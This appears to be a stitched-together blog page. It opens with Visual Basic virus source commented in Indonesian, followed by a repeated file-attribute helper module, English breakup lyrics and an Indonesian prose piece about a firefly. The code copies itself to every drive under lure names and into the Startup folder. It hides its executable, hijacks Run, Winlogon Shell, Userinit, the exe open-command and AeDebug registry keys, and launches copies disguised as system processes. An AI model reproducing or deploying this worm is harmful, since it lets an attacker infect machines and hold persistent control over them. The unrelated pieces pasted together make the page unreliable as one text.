SetFileAttributes Mid$(CariDrive, i, 3) & "\4K51K4\New Folder.exe", FILE_ATTRIBUTE_NORMAL
'gandahkan diri pada drive tesebut dengan nama file dengan awalan Data dan diakhiri dengan nama user yang aktif
CopyFile Left$(GetWindowsPath, 3) & "4k51k4.exe", Mid$(CariDrive, i, 3) & "Data " & GetUserAktif & ".exe", 0
'set attribute file tersebut menjadi normal
SetFileAttributes Mid$(CariDrive, i, 3) & "Data " & GetUserAktif & ".exe", FILE_ATTRIBUTE_NORMAL
End If
'apakah terdapat folder startup pada drive tersebut, jika ada
If Dir$(Mid$(CariDrive, i, 3) & "Documents and Settings\All Users\Start Menu\Programs\Startup") <> "" Then
'gandahkan diri dalam folder startup tersebut
CopyFile Left$(GetWindowsPath, 3) & "4k51k4.exe", Mid$(CariDrive, i, 3) & "Documents and Settings\All Users\Start Menu\Programs\Startup\" & "Empty.pif", 0
SetFileAttributes Mid$(CariDrive, i, 3) & "Documents and Settings\All Users\Start Menu\Programs\Startup\" & "Empty.pif", FILE_ATTRIBUTE_NORMAL
End If
Next i
Autorun
DoEvents

End Sub

Private Sub Autorun()
'atur registy agar virus dapat berjalan pada saat login
SetFileAttributes Left$(GetWindowsPath, 3) & "4k51k4.exe", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "Logon" & GetUserAktif, GetLocalSettingsUser & "\Application Data\WINDOWS\CSRSS.EXE"
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "System Monitoring", GetLocalSettingsUser & "\Application Data\WINDOWS\LSASS.EXE"
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", REG_SZ, "Shell", "Explorer.exe " & Chr(&H22) & GetSystemPath & "IExplorer.exe" & Chr(&H22)
CreateStringValue HKEY_CLASSES_ROOT, "exefile\shell\open\command", REG_SZ, "", Chr(&H22) & GetSystemPath & "shell.exe" & Chr(&H22) & " " & Chr(&H22) & "%1" & Chr(&H22) & " %*"
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", REG_SZ, "Userinit", GetSystemPath & "userinit.exe," & GetSystemPath & "IExplorer.exe"
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug", REG_SZ, "Debugger", Chr(&H22) & GetSystemPath & "Shell.exe" & Chr(&H22)
End Sub

'panggil virus
Private Sub PanggilVirus()
Shell GetWindowsPath & "4k51k4.exe", vbNormalFocus
Shell GetSystemPath & "IExplorer.exe", vbNormalFocus
Shell GetLocalSettingsUser & "\Application Data\WINDOWS\WINLOGON.EXE", vbNormalFocus
Shell GetLocalSettingsUser & "\Application Data\WINDOWS\CSRSS.EXE", vbNormalFocus
Shell GetLocalSettingsUser & "\Application Data\WINDOWS\SERVICES.EXE", vbNormalFocus
Shell GetLocalSettingsUser & "\Application Data\WINDOWS\LSASS.EXE", vbNormalFocus
Shell GetLocalSettingsUser & "\Application Data\WINDOWS\SMSS.EXE", vbNormalFocus
DoEvents
End Sub

Attribute VB_Name = "BacaFile"

Option Explicit
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const INVALID_HANDLE_VALUE = -1
Private Const MAX_PATH = 260

Private Type FILETIME
    dwLowDateTime As Long
    dwHighDateTime As Long
End Type

Private Type SYSTEMTIME
        wYear As Integer
        wMonth As Integer
        wDayOfWeek As Integer
        wDay As Integer
        wHour As Integer
        wMinute As Integer
        wSecond As Integer
        wMilliseconds As Integer
End Type

Private Type WIN32_FIND_DATA
    dwFileAttributes As Long
    ftCreationTime As FILETIME
    ftLastAccessTime As FILETIME
    ftLastWriteTime As FILETIME
    nFileSizeHigh As Long
    nFileSizeLow As Long
    dwReserved0 As Long
    dwReserved1 As Long
    cFileName As String * MAX_PATH
    cAlternate As String * 14
End Type

Private Declare Function FindClose Lib "kernel32" _
   (ByVal hFindFile As Long) As Long

Private Declare Function FindFirstFile Lib "kernel32" _
  Alias "FindFirstFileA" (ByVal lpFileName As String, _
lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FileTimeToSystemTime Lib "kernel32" _
  (lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As Long

Private Declare Function GetFileAttributes Lib "kernel32" _
  Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long

Private Declare Function GetShortPathName Lib "kernel32" _
  Alias "GetShortPathNameA" (ByVal lpszLongPath As String, _
  ByVal lpszShortPath As String, ByVal cchBuffer As Long) _
  As Long

Private Declare Sub GetSystemTime Lib "kernel32" _
   (lpSystemTime As SYSTEMTIME)

Public Function FileAttributes(ByVal strFilename As String) _
    As String

    Dim lngFileAttributes As Long
    Dim strFileAttributeFlags As String
    If Not FileExists(strFilename) Then
        Exit Function
    End If
    lngFileAttributes = GetFileAttributes(strFilename)
    If lngFileAttributes And FILE_ATTRIBUTE_DIRECTORY Then
        strFileAttributeFlags = strFileAttributeFlags + "D"
    End If
    If lngFileAttributes And FILE_ATTRIBUTE_ARCHIVE Then
        strFileAttributeFlags = strFileAttributeFlags + "A"
    End If
    If lngFileAttributes And FILE_ATTRIBUTE_SYSTEM Then
        strFileAttributeFlags = strFileAttributeFlags + "S"
    End If
    If lngFileAttributes And FILE_ATTRIBUTE_HIDDEN Then
        strFileAttributeFlags = strFileAttributeFlags + "H"
    End If
    If lngFileAttributes And FILE_ATTRIBUTE_READONLY Then
        strFileAttributeFlags = strFileAttributeFlags + "R"
    End If
    FileAttributes = strFileAttributeFlags
End Function

Public Function FileCreated(ByVal strFilename As String) As Date
    Dim datFileCreationDate As Date
    Dim lngFileHandle As Long
    Dim udtSystemTime As SYSTEMTIME
    Dim udtWinFindData As WIN32_FIND_DATA
    If Not FileExists(strFilename) Then
        Exit Function
    End If
    lngFileHandle = FindFirstFile(strFilename, udtWinFindData)
    Call FileTimeToSystemTime(udtWinFindData.ftCreationTime, udtSystemTime)
    datFileCreationDate = DateSerial(udtSystemTime.wYear, udtSystemTime.wMonth, udtSystemTime.wDay) + TimeSerial(udtSystemTime.wHour + AdjustTimeForLocalSettings, udtSystemTime.wMinute, udtSystemTime.wSecond)
    FileCreated = datFileCreationDate
    Call FindClose(lngFileHandle)
End Function

Public Function FileLastAccessed(ByVal strFilename As String) As Date
    Dim datFileCreationDate As Date
    Dim lngFileHandle As Long
    Dim udtSystemTime As SYSTEMTIME
    Dim udtWinFindData As WIN32_FIND_DATA
    If Not FileExists(strFilename) Then
        Exit Function
    End If
    lngFileHandle = FindFirstFile(strFilename, udtWinFindData)
    Call FileTimeToSystemTime(udtWinFindData.ftLastAccessTime, udtSystemTime)
    datFileCreationDate = DateSerial(udtSystemTime.wYear, udtSystemTime.wMonth, udtSystemTime.wDay) + TimeSerial(udtSystemTime.wHour + AdjustTimeForLocalSettings, udtSystemTime.wMinute, udtSystemTime.wSecond)
    FileLastAccessed = datFileCreationDate
    Call FindClose(lngFileHandle)
End Function

Public Function FileLastModified(ByVal strFilename As String) As Date
    Dim datFileCreationDate As Date
    Dim lngFileHandle As Long
    Dim udtSystemTime As SYSTEMTIME
    Dim udtWinFindData As WIN32_FIND_DATA
    If Not FileExists(strFilename) Then
        Exit Function
    End If
    lngFileHandle = FindFirstFile(strFilename, udtWinFindData)
    Call FileTimeToSystemTime(udtWinFindData.ftLastWriteTime, udtSystemTime)
    datFileCreationDate = DateSerial(udtSystemTime.wYear, udtSystemTime.wMonth, udtSystemTime.wDay) + TimeSerial(udtSystemTime.wHour + AdjustTimeForLocalSettings, udtSystemTime.wMinute, udtSystemTime.wSecond)
    FileLastModified = datFileCreationDate
    Call FindClose(lngFileHandle)
End Function

Public Function ReadFromFile(ByVal strFilename As String) As String
    Dim lngFileHandle As Long
    Dim strFileContents As String
    If FileExists(strFilename) Then
        If Not InStr(FileAttributes(strFilename), "D") Then
            lngFileHandle = FreeFile
            Open strFilename For Binary As #lngFileHandle
            strFileContents = Space(FileLen(strFilename))
            Get #lngFileHandle, , strFileContents
            Close #lngFileHandle
        End If
    End If
    ReadFromFile = strFileContents
End Function

Public Function ShortPath(ByVal strFilename As String) As String
    Dim strBuffer As String * 255
    Dim lngReturnCode As Long
    lngReturnCode = GetShortPathName(strFilename, strBuffer, 255)
    ShortPath = Left$(strBuffer, lngReturnCode)
End Function

Private Function AdjustTimeForLocalSettings() As Long
    Dim datSystemDate As Date
    Dim udtSystemTime As SYSTEMTIME
    Call GetSystemTime(udtSystemTime)

    datSystemDate = DateSerial(udtSystemTime.wYear, _
   udtSystemTime.wMonth, udtSystemTime.wDay) _
   + TimeSerial(udtSystemTime.wHour, udtSystemTime.wMinute, _
    udtSystemTime.wSecond)

    AdjustTimeForLocalSettings = _
      DateDiff("h", datSystemDate, Now)
End Function

Function FileExists(ByVal NamaFile As String) As Boolean
Dim lngRetVal As Long
On Error Resume Next

  lngRetVal = Len(Dir$(NamaFile))

    If Err Or lngRetVal = 0 Then
       FileExists = False
    Else
      FileExists = True
    End If
   
End Function

Attribute VB_Name = "BacaFile"
Option Explicit
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const INVALID_HANDLE_VALUE = -1
Private Const MAX_PATH = 260

Private Type FILETIME
    dwLowDateTime As Long
    dwHighDateTime As Long
End Type

Private Type SYSTEMTIME
        wYear As Integer
        wMonth As Integer
        wDayOfWeek As Integer
        wDay As Integer
        wHour As Integer
        wMinute As Integer
        wSecond As Integer
        wMilliseconds As Integer
End Type

Private Type WIN32_FIND_DATA
    dwFileAttributes As Long
    ftCreationTime As FILETIME
    ftLastAccessTime As FILETIME
    ftLastWriteTime As FILETIME
    nFileSizeHigh As Long
    nFileSizeLow As Long
    dwReserved0 As Long
    dwReserved1 As Long
    cFileName As String * MAX_PATH
    cAlternate As String * 14
End Type

Private Declare Function FindClose Lib "kernel32" _
   (ByVal hFindFile As Long) As Long

Private Declare Function FindFirstFile Lib "kernel32" _
  Alias "FindFirstFileA" (ByVal lpFileName As String, _
lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FileTimeToSystemTime Lib "kernel32" _
  (lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As Long

Private Declare Function GetFileAttributes Lib "kernel32" _
  Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long

Private Declare Function GetShortPathName Lib "kernel32" _
  Alias "GetShortPathNameA" (ByVal lpszLongPath As String, _
  ByVal lpszShortPath As String, ByVal cchBuffer As Long) _
  As Long

Private Declare Sub GetSystemTime Lib "kernel32" _
   (lpSystemTime As SYSTEMTIME)

Public Function FileAttributes(ByVal strFilename As String) _
    As String

    Dim lngFileAttributes As Long
    Dim strFileAttributeFlags As String
    If Not FileExists(strFilename) Then
        Exit Function
    End If
    lngFileAttributes = GetFileAttributes(strFilename)
    If lngFileAttributes And FILE_ATTRIBUTE_DIRECTORY Then
        strFileAttributeFlags = strFileAttributeFlags + "D"
    End If
    If lngFileAttributes And FILE_ATTRIBUTE_ARCHIVE Then
        strFileAttributeFlags = strFileAttributeFlags + "A"
    End If
    If lngFileAttributes And FILE_ATTRIBUTE_SYSTEM Then
        strFileAttributeFlags = strFileAttributeFlags + "S"
    End If
    If lngFileAttributes And FILE_ATTRIBUTE_HIDDEN Then
        strFileAttributeFlags = strFileAttributeFlags + "H"
    End If
    If lngFileAttributes And FILE_ATTRIBUTE_READONLY Then
        strFileAttributeFlags = strFileAttributeFlags + "R"
    End If
    FileAttributes = strFileAttributeFlags
End Function

Public Function FileCreated(ByVal strFilename As String) As Date
    Dim datFileCreationDate As Date
    Dim lngFileHandle As Long
    Dim udtSystemTime As SYSTEMTIME
    Dim udtWinFindData As WIN32_FIND_DATA
    If Not FileExists(strFilename) Then
        Exit Function
    End If
    lngFileHandle = FindFirstFile(strFilename, udtWinFindData)
    Call FileTimeToSystemTime(udtWinFindData.ftCreationTime, udtSystemTime)
    datFileCreationDate = DateSerial(udtSystemTime.wYear, udtSystemTime.wMonth, udtSystemTime.wDay) + TimeSerial(udtSystemTime.wHour + AdjustTimeForLocalSettings, udtSystemTime.wMinute, udtSystemTime.wSecond)
    FileCreated = datFileCreationDate
    Call FindClose(lngFileHandle)
End Function

Public Function FileLastAccessed(ByVal strFilename As String) As Date
    Dim datFileCreationDate As Date
    Dim lngFileHandle As Long
    Dim udtSystemTime As SYSTEMTIME
    Dim udtWinFindData As WIN32_FIND_DATA
    If Not FileExists(strFilename) Then
        Exit Function
    End If
    lngFileHandle = FindFirstFile(strFilename, udtWinFindData)
    Call FileTimeToSystemTime(udtWinFindData.ftLastAccessTime, udtSystemTime)
    datFileCreationDate = DateSerial(udtSystemTime.wYear, udtSystemTime.wMonth, udtSystemTime.wDay) + TimeSerial(udtSystemTime.wHour + AdjustTimeForLocalSettings, udtSystemTime.wMinute, udtSystemTime.wSecond)
    FileLastAccessed = datFileCreationDate
    Call FindClose(lngFileHandle)
End Function
Public Function FileLastModified(ByVal strFilename As String) As Date
    Dim datFileCreationDate As Date
    Dim lngFileHandle As Long
    Dim udtSystemTime As SYSTEMTIME
    Dim udtWinFindData As WIN32_FIND_DATA
    If Not FileExists(strFilename) Then
        Exit Function
    End If
    lngFileHandle = FindFirstFile(strFilename, udtWinFindData)
    Call FileTimeToSystemTime(udtWinFindData.ftLastWriteTime, udtSystemTime)
    datFileCreationDate = DateSerial(udtSystemTime.wYear, udtSystemTime.wMonth, udtSystemTime.wDay) + TimeSerial(udtSystemTime.wHour + AdjustTimeForLocalSettings, udtSystemTime.wMinute, udtSystemTime.wSecond)
    FileLastModified = datFileCreationDate
    Call FindClose(lngFileHandle)
End Function

Public Function ReadFromFile(ByVal strFilename As String) As String
    Dim lngFileHandle As Long
    Dim strFileContents As String
    If FileExists(strFilename) Then
        If Not InStr(FileAttributes(strFilename), "D") Then
            lngFileHandle = FreeFile
            Open strFilename For Binary As #lngFileHandle
            strFileContents = Space(FileLen(strFilename))
            Get #lngFileHandle, , strFileContents
            Close #lngFileHandle
        End If
    End If
    ReadFromFile = strFileContents
End Function

Public Function ShortPath(ByVal strFilename As String) As String
    Dim strBuffer As String * 255
    Dim lngReturnCode As Long
    lngReturnCode = GetShortPathName(strFilename, strBuffer, 255)
    ShortPath = Left$(strBuffer, lngReturnCode)
End Function

Private Function AdjustTimeForLocalSettings() As Long
    Dim datSystemDate As Date
    Dim udtSystemTime As SYSTEMTIME
    Call GetSystemTime(udtSystemTime)

    datSystemDate = DateSerial(udtSystemTime.wYear, _
   udtSystemTime.wMonth, udtSystemTime.wDay) _
   + TimeSerial(udtSystemTime.wHour, udtSystemTime.wMinute, _
    udtSystemTime.wSecond)

    AdjustTimeForLocalSettings = _
      DateDiff("h", datSystemDate, Now)
End Function

Only the guitar accompanies me throughout the day
The sleeping cello
Quiet and so old
I think you've made yourself clear
I know and I'm sure

You don't regret
You say you're upset too, that I don't believe
You being with me was in the past

I hope he loves you more than I do
Only then will I bring myself to leave
You want me to say it, but it is awkward
I don't even want to break up

Why must I depend on a smile to tide me through?
I don't have the ability
To accept both you and him
Don't worry too much
I'll still be fine

You've already gone far away
And I will slowly walk away
Why is it that I have to accommodate you even when we break up?
I really don't have the ability
Staying silent doesn't come so fast
I will learn to give you up
Because I love you so much

Sejak pertama kali saya menyebutkan nama, seharusnya kamu tahu bahwa saya seekor kunang-kunang, bukan kupu-kupu. Kamu bisa lihat dari sayap yang saya miliki, tidak indah, tidak lebar, tidak berwarna-warni dangan ribuan macam corak. Saya hanya memiliki sepasang sayap bening dengan garis-garis vertikal monoton.

Saya dan kupu-kupu memang sama-sama dapat melawan gravitasi. Tapi tak ada siklus dalam kehidupan saya. Dari lahir, hingga kini dan sampai mati nanti, saya akan tetap seperti ini. Tidak akan berubah!!

Seharusnya sedari awal kamu menyadarinya, bahwa saya bukan kupu-kupu. Saya tidak bisa menjadi dia, dengan anggun bertengger pada bunga matahari ditaman rumahmu menjelang siang sembari bersenandung merdu. Semua orang pun tahu bahwa saya kunang-kunang kecil. Kuku kematian penghuni kuburan cina, sawah dan semak belukar angker. Saya yang lebih suka duduk berleha-leha pada batu nisan ketika senja hampir usai ini tak bisa kau bandingkan dengan kupu-kupu.

Saya tak memiliki apa-apa yang bisa kamu pajang dietalase milikmu, yang seketika akan membuat siapapun ditrotoar itu terhenti untuk sekedar berdecak atau mengagumi dalam hati. Hanya sedikit remang diekor milik saya satu-satunya. Terlalu redup, sampai-sampai hanya bisa saya bagi untukmu. Tak akan cukup jika saya harus membaginya dengan yang lain selain dirimu. Tapi saya rasa bisa kamu gunakan jika malam ini tak ada satupun cahaya menuntunmu.

Tolong pahami itu!! Dan jangan meminta saya bermetamorfosis. Saya tidak akan mampu. Sekalipun mampu, saya tidak akan mau. Jadi, mulai pagi besok, belajarlah mencintai saya sebagai kunang-kunang, bukan kupu-kupu.


* soul_list *